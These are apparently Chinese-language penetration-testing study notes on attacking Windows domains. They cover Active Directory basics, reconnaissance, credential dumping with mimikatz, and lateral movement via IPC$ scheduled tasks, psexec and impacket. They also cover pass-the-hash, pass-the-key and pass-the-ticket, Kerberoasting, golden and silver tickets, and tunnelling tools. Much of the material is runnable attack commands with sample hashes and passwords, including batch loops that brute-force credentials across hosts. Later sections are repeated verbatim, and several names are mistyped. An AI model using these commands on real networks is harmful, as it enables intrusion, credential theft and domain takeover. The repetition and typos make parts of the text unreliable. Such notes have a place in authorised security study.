局域网

工作组

工作组（Work Group）是局域网的概念。它是最常见、最简单、最常见的资源管理模式，即根据功能将不同的计算机纳入不同的组，以便于管理。 在局域网中，如果您想访问工作组的资源，请在在线邻居中找到工作组的名称，双击查看工作组的计算机。 共享用户可以同时属于多个组。用户对某一资源的权限等于每组的权限之和。但是，如果一个组禁止某一资源的权限，用户将不得访问该资源，因为禁止是优先事项。其他组或其他组成员也可以包含在一个组中。 计算机在工作组中的地位是平等的。每台计算机都独立维护自己的资源，无需集中管理网络资源。 

域环境 活动目录AD 域控制器DC

https://blog.51cto.com/terryli/141686 域是在逻辑上集中管理多台计算机，在域控制器上创建组。 域是组织和存储资源的核心管理单元，域的核心是域控制器，域控制器的核心是活动目录，本质上相当于数据库。 域内所有计算机共享集中目录数据库（又称活动目录数据库），包括整个域内的对象（用户账户、计算机账户、打印机、共享文件等）和安全信息，活动目录负责添加、修改、更新和删除目录数据库。所以我们必须在那里Windows Server 实现2003年的域环境，其实就是安装活动目录。活动目录为我们实现了目录服务，提供对企业网络环境的集中式管理。比如前面的例子，在域环境中，只需要在活动目录中创建一次Bob账户可以登录任何200台电脑中的一台Bob，如果要为Bob账户更改密码，只需在活动目录中更改一次即可。 域控制器（Domain Controller）是存储活动目录的地方，即存储在域控制器中的活动目录。安装活动目录的计算机称为域控制器 当一个域控制器的活动目录数据库发生变化时，这些变化的数据将被复制到其他域控制器的活动目录数据库中。 站点（Site）一般对应地理位置。它由一个或多个物理子网组成。创建网站的目的是优化DC复制之间。活动目录允许一个网站有多个域，一个域也可以属于多个网站。 

单域 父域、子域 域树，域森林

域用户，本地用户 https://blog.csdn.net/zhwei_wen/article/details/2157088

当地用户账户作为登录账户，涉及使用域内其他计算机资源时，身份验证不容易。远程计算机可能需要实现账户信息的存储和验证过程。一旦账户信息发生变化，多台远程计算机的相应信息也应发生变化，增加费用；域用户账户解决了这个问题，身份验证交给域控，因为域控可以管理域内计算机资源和域用户账户信息。  相当于开辟用户区，统一管理 

域的搭建：https://blog.csdn.net/wwl012345/article/details/88934571

linux域渗透问题

局域网技术的应用

内网安全的流程问题

基本信息

版本 补丁 服务 任务 防护 进程 服务…

网络信息

开放端口 网络环境 出口代理 DNS

用户信息

域用户 本地用户 用户权限 对应组信息

凭据信息

明文 hash 各种主机协议和服务密码

完成信息收集，根据目标状态制定探针策略，深入探索信息

存活主机

域控制器

网络架构

服务接口

暂无

传递

at&schtasks

psexec&smbexec

wmic&wmiexec

PTH&PTT&PTK

winrs&winrm&rdp

漏洞

CVE-2014-6324

CVE-2017-17010

CVE-2020-142

暂无

服务器计算机基本信息

systeminfo  详细信息
net start  启动服务
tasklist  进程列表
schtasks  计划任务

网络接口信息

ipconfig /all  判断存在域-dns
net view /domain  判断存在域
net time /domain  判断主域
netstat -ano  当前网络端口开放
nslookup 域名  追踪来源地址；Cname链式手动解析
nslookup(https://blog.csdn.net/fageweiketang/article/details/82970625?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&utm_relevant_index=1)

域环境下的用户及用户组信息

系统默认常见用户身份概念： 
Domain Admins：域管理员（默认对域控制器有完全控制权） 
Domain Computers：域内机器 
Domain Controllers：域控制器 
Domain Guest：域访客，权限低 
Domain Users：域用户 
Enterprise Admins：企业系统管理员用户（默认对域控制器有完全控制权） 

相关用户收集操作命令： 
whoami /all  用户权限 
net config workstation  登录信息 
net user  本地用户 
net localgroup  本地用户组 
net user /domain  获取域用户信息 
net group /domain  获取域用户组信息 
wmic useraccount get /all  涉及域用户详细信息 
net group "Domain Admins" /domain  查询域管理员账户 
net group "Enterprise Admins" /domain  查询管理员用户组 
net group "Domain Controllers" /domain  查询域控制器

各种密文，明文，口令等

mimikatz(win)，mimipenguin(linux)	计算机用户HASH，明文获取，但是需要足够大的权限。

LaZagne(all)，XenArmor(win)	计算机各种协议服务口令获取
1.站点源码备份文件、数据库备份文件等 
2.各类数据库Web 管理入口，如PHPMyAdmin 
3.浏览器保存密码、浏览器Cookies 
4.其他用户会话、3389 和ipc$连接记录、回收站内容 
5.Windows保存的WIFI 密码
  Netsh WLAN show profiles
  Netsh WLAN show profile name="无线名称" key=clear
6.网络内部的各种帐号和密码，如：Email、VPN、FTP、OA 等

探针域控制器名及地址信息
net time /domain
nsllokup
ping

探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令

nmap、masscan 第三方工具

nishang、empire等 powershell脚本

探针域内主机角色及服务信息；利用开放端口服务及计算机名判断核心业务机器：
  >高级管理人员、系统管理员、财务/人事/业务人员的个人计算机 
  >产品管理系统服务器 
  >办公系统服务器 
  >财务应用系统服务器 
  >核心产品源码服务器（自建SVN、GIT） 
  >数据库服务器 
  >文件或网盘服务器、共享服务器 
  >电子邮件服务器 
  >网络监控系统服务器 
  >其他服务器（内部技术文档服务器、其他监控服务器等）

获取到某域主机权限->minikatz 得到密码（明文，hash）->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

ipc相关

https://blog.51cto.com/levelive/5851

1. 建立IPC链接到目标主机 
2. 拷贝要执行的命令脚本到目标主机 
3. 查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本 
4. 删除IPC链接

net use \\server\ipc$ "password" /user:"username" # 工作组 
net use \\server\ipc$ "password" /user:"domain\username" #域内 
dir \\xx.xx.xx.xx\C$\                # 查看文件列表 
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件 
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件 
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC 
net view xx.xx.xx.xx                # 查看对方共享

#建立IPC 常见的错误代码 
（1）5：拒绝访问，可能是使用的用户不是管理员权限，需要先提升权限 
（2）51：网络问题，Windows  无法找到网络路径 
（3）53：找不到网络路径，可能是IP 地址错误、目标未开机、目标Lanmanserver 服务未启动、有防火墙等问题 
（4）67：找不到网络名，本地Lanmanworkstation 服务未启动，目标删除ipc$ 
（5）1219：提供的凭据和已存在的凭据集冲突，说明已建立IPC$，需要先删除 
（6）1326：账号密码错误 
（7）1792：目标NetLogon 服务未启动，连接域控常常会出现此情况 
（8）2242：用户密码过期，目标有账号策略，强制定期更改密码  
#建立IPC 失败的原因 
（1）目标系统不是NT 或以上的操作系统 
（2）对方没有打开IPC$共享 
（3）对方未开启139、445 端口，或者被防火墙屏蔽 
（4）输出命令、账号密码有错误

ipc连接利用

[at] & [schtasks]

#at < Windows2012 
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad 
ministrator # 建立ipc 连接： 
copy add.bat \\192.168.3.21\c$  #拷贝执行文件到目标机器 
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务  

#schtasks >=Windows2012 
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad 
ministrator # 建立ipc 连接： 
copy add.bat \\192.168.3.32\c$ #复制文件到其C 盘 
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser 任务对应执行文件 
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser 任务 
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser 任务

atexec-impacket工具

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" 
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" 
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" 

创建批处理脚本爆破更多主机

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接 
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版 
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版 
FOR  /F  %%i  in  (hash.txt)  do  atexec.exe  -hashes  :%%i  ./administrator@192.168.3.21  whoami  # 批量检测HASH对应IP回显版

SMB服务协议进行哈希移动

#利用SMB服务需要先建立IPC，可以通过hash传递来远程执行，默认回来System权限，需要目标防火墙开启445并允许通过。

#在psexec中由于其利用条件和监控严格后，逐渐开始使用WMI进行攻击。WMI可以描述为管理Windows系统的方法和功能。我们可以把它当作API来与Win系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生，不会留下任何痕迹。

Psexec psexec是sysinternals的一款强大的软件，通过他可以提权和执行远程命令，对于批量大范围的远程运维能起到很好的效果，尤其是在域环境下

原理入门：ipc$连接（SMB连接）；写入部分exe程序（创建psexesvc服务）；调用svcctl协议，打开psexesvc服务；创建管道；

前提条件： 有明文或密文hash账户信息以建立相关连接

两种连接方式： 先有ipc连接，然后执行psexec命令； 直接提供账户密码的明文或密文，可以不用建立ipc连接（?可能建立了其他smb连接？）；

两种使用方式（均可在目标任务管理器可看到成功执行）： 以系统身份运行指定应用程序；创建/执行远程命令代码。

示例：

----------##ð##  在对方电脑上运行程序-----------------------------------------
psexec \\192.168.100.2 -u administrator -p 123456 -d -s calc
#运行calc后 -d返回到本机命令行，对方计算机上会有一个calc进程，-s是以系统身份运行的。窗口对方是看不到的，如果需要对方看到这个窗口，需要加参数 -i（实验中还是没显示窗口）。

psexec \\192.168.100.2 -u administrator -p 123456 -d calc
#承上，就以当前身份运行calc，-d返回

----------##ð##  在对方电脑上运行cmd命令，同上--------------------------------- 
psexec \\192.168.3.21 -u administrator -p password -s cmd 
# -s 指定以System权限运行
#这个命令执行成功之后，命令提示符窗口在我这边，相当于远端应用程序虚拟化到本地。

psexec \\192.168.100.2 -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com
#为对方以当前用户身份打开百度网页，-i让他看到这个网页（实验中还是看不到）


psexec.exe -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21
#提供密文的连接（？未实验）

出现问题1：Psexec 远程执行文件提示 “拒绝访问”

1、首先确认目标组策略是否配置正确
运行-secpol.msc-本地策略-安全选项-网络访问:本地账户的共享和安全模型 
修改此项为经典
然后刷新组策略使之生效
运行-cmd-gpupdate
现在可以试下是否还出现拒绝访问的问题
如果还出现拒绝访问，进行第二步

2、打开目标admin$的网络访问权限
运行-cmd-net share admin$
然后再运行一遍 net share admin$ 查看admin$的共享属性
权限显示为 READ，需要更改为FULL完全控制模式
详见：https://blog.51cto.com/babyfenei/1741291

3、目标用户权限不足，必需以administrator登陆，带有administrator权限的普通用户好像也不行

出现问题2：Psexec 远程执行文件提示 “账户被禁用”

有的windows禁用了administrator账户，会显示“账户被禁用”

impacket工具包

# smbexec：无需先ipc链接 明文或hash传递  非官方自带，容易被杀
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

认证原理参考：windows域环境下认证和攻击初识

PAC原理：Windows内网协议学习Kerberos篇之PAC

方法参考：内网渗透之PTH&PTT&PTK

其他：Windows Hash传递攻击的本质、缓解及绕过

PTH传递（不太推荐，需要得到管理员口令hash）

利用NTLM认证

获取hash，传递到目标，尝试连接

PTH传递（不太推荐）
弹出一个窗口
#适用范围：
域/工作组环境
内网中存在和当前机器相同的密码

#mimikatz.exe上执行：
privilege::debug
sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7
#可以远程访问
#测试net use \\192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

PTK

还是使用的mimikatz工具，不过需免杀

获取用户的aes key:
mimikatz "privilege::debug" "sekurlsa::ekeys"

注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288" 

成功注入aes256，尝试远程连接：

如果拒绝访问的话尝试安装kb2871997补丁

PTT

利用Kerberos协议认证

三种常见的攻击方法：MS16-068，Golden ticket，SILVER ticket

MS16-068 原理及利用：Windows内网协议学习Kerberos篇之PAC

MS14-068是密钥分发中心（KDC）服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC（表示所有用户权限的结构）。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

windows域中使用kerberos协议过程中，为了让SS服务器判断Client是否有权限访问服务，引入了PAC机制。构造PAC也是这个漏洞的根本。
1. 在请求AS时，将require_PAC设置成False。
2. 在请求TGS时，构造PAC，然后使用MD5签名（PAC尾部的签名算法可以任意指定），PAC并没有放在TGT中发送，而是在请求包的其他位置（但是还是可以解析）。
3. TGS_REP返回的不是会话密钥，而是返回的带PAC的TGT（微软的锅）

Golden ticket（黄金票据）

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢？还得要看kerberos认证的过程,在windows认证过程中，客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密，生成TGT。

那么如果获取到了krbtgt的密码hash值，是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

伪造黄金凭据需要具备下面条件：
    krbtgt用户的hash(就意味着你已经有域控制器权限了)
    域名称
    域的SID值
    要伪造的用户名

SILVER ticket（白银票据）

白银票据这里只是对单一的服务进行授权，利用过程和golden ticket差不多，首先上域控制器中，把机器的ntlmhash（某个服务hash） dump下来,然后在普通域用户机器进行伪造权限制作TGS服务票据

参考：04.内网安全-域横向CobaltStrike&SPN&RDP

SPN

参考：

kerberos中的spn详解

服务主体名称 适用于 Windows 的 Kerberos 技术补充 什么是 SPN，您为什么要关心？

SPN服务主体名称发现详解

Kerberoast攻击的另一种姿势

服务主体名称（SPN）是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。

SPN作用之一：
部分服务票证使用了目标服务实例的NTLM哈希进行加密。那么KDC如何确定在加密这些服务票证时使用什么密钥？
使用服务主体名称（SPN）来确定使用哪个服务帐户的哈希来加密服务票证

猜测：每种服务类可以创建多个服务实例，每个服务实例都会有一个用户账户；KDC有必要为每个用户账户分配SPN以进行区分，每个用户账户有各自某种HASH密钥，用于加密TGS票证ST。

SQL Server中的每个服务代表一个进程或一组进程，为了能让SQL Server服务在操作系统中正常的启动和运行，就需要指定SQL Server的服务帐户。所以服务帐户指的是Windows操作系统中的帐户。
SQL Server 2008中服务帐户类型分为不具有 Windows 管理员权限的“内置系统帐户”和“域用户帐户”，“内置系统帐户”又细分成三类“本地系统帐户”、“网络服务帐户”以及“本地服务帐户”。
//来自：http://blog.sina.com.cn/s/blog_6c60678b0101cn61.html

SPN格式：
SPN = serviceclass “/” hostname [“:”port] [“/” servicename]

其中：
serviceclass:标识服务类的字符串，例如Web服务的www
hostname:一个字符串，是系统的名称。这应该是全限定域名（FQDN）。
port:一个数字，是该服务的端口号。
servicename:一个字符串，它是服务的专有名称（DN），objectGuid，Internet主机名或全限定域名（FQDN）。

注意: 服务类和主机是必需参数，但端口和服务名是可选的，主机和端口之间的冒号只有当端口存在时才需要

大概流程：

SPN扫描	请求服务票据	导出服务票据	破解服务票据	重写服务票据

可用服务：

MSSQL	WSMAN	Exchange	TERMSERV	Hyper-V Host

实验：

mimikatz只能列出登录用户的本地票据吗？有没有可能列出登陆过的所有用户的票据？

猜测：票据存于内存，切换用户后，内存票据信息也会抹除，所以无法获取其他用户票据。就这一点可以看出，用户的票据只有在登陆之后才能请求到。

#导出
mimikatz.exe "kerberos::list  /export"

#破解
python tgsrepcrack.py  password.txt xxxx.kirbi
python .\tgsrepcrack.py .\password.txt  .\1-40a00000-jerry@MSSQLSvc~srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

#重写
python kerberoast.py  -p  Password123 -r xxxx.kirbi -w  PENTESTLAB.kirbi -u 500
python kerberoast.py  -p  Password123 -r xxxx.kirbi -w  PENTESTLAB.kirbi -g 512

#将生成的票据注入内存
mimikatz.exe  kerberos::ptt   xxxx.kirbi

工具下载地址：https://github.com/nidem/kerberoast

参考：06.域横向内网漫游Socks代理隧道技术

解决问题：内网有外网 内网有过滤 内网无外网

代理方向：正向 反向

代理工具：nps frp ngrok reGeorg socjscap64 earthworm proxifier proxychains

实验过程：

搜索目标 利用WEB漏洞 获取webshell权限 生成后门 接收反弹 信息收集以及配置访问 利用本地代理接口访问测试

参考：07.域横向网络&传输&应用层隧道技术

解决问题：防火墙过滤问题 网络连接通信问题 数据回链封装问题

使用工具：lcx netcat dns3tcp pingtunnel

使用协议：ipv6，icmp，GRE TCP，UDP，端口转发 SSH，HTTP，HTTPS，DNS

代理和隧道技术区别？
代理是为了解决网络访问问题。在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。
比如：
CS、MSF无法上线，数据传输不稳定无回显，出口数据被监控，网络通信存在问题等。

什么是隧道呢？
这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应的服务器上。
隧道技术为了解决什么？
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
常用的隧道技术：
网络层：IPV6隧道、ICMP隧道
传输层：TCP隧道、UDP隧道、常规端口转发
应用层：SSH隧道、HTTP/S隧道、DNS隧道

参考：08.内网安全-域横向CS&MSF联动

代理接口访问测试

参考：07.域横向网络&传输&应用层隧道技术

解决问题：防火墙过滤问题 网络连接通信问题 数据回链封装问题

使用工具：lcx netcat dns3tcp pingtunnel

使用协议：ipv6，icmp，GRE TCP，UDP，端口转发 SSH，HTTP，HTTPS，DNS

代理和隧道技术区别？
代理是为了解决网络访问问题。在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。
比如：
CS、MSF无法上线，数据传输不稳定无回显，出口数据被监控，网络通信存在问题等。

什么是隧道呢？
这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应的服务器上。
隧道技术为了解决什么？
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
常用的隧道技术：
网络层：IPV6隧道、ICMP隧道
传输层：TCP隧道、UDP隧道、常规端口转发
应用层：SSH隧道、HTTP/S隧道、DNS隧道

参考：08.内网安全-域横向CS&MSF联动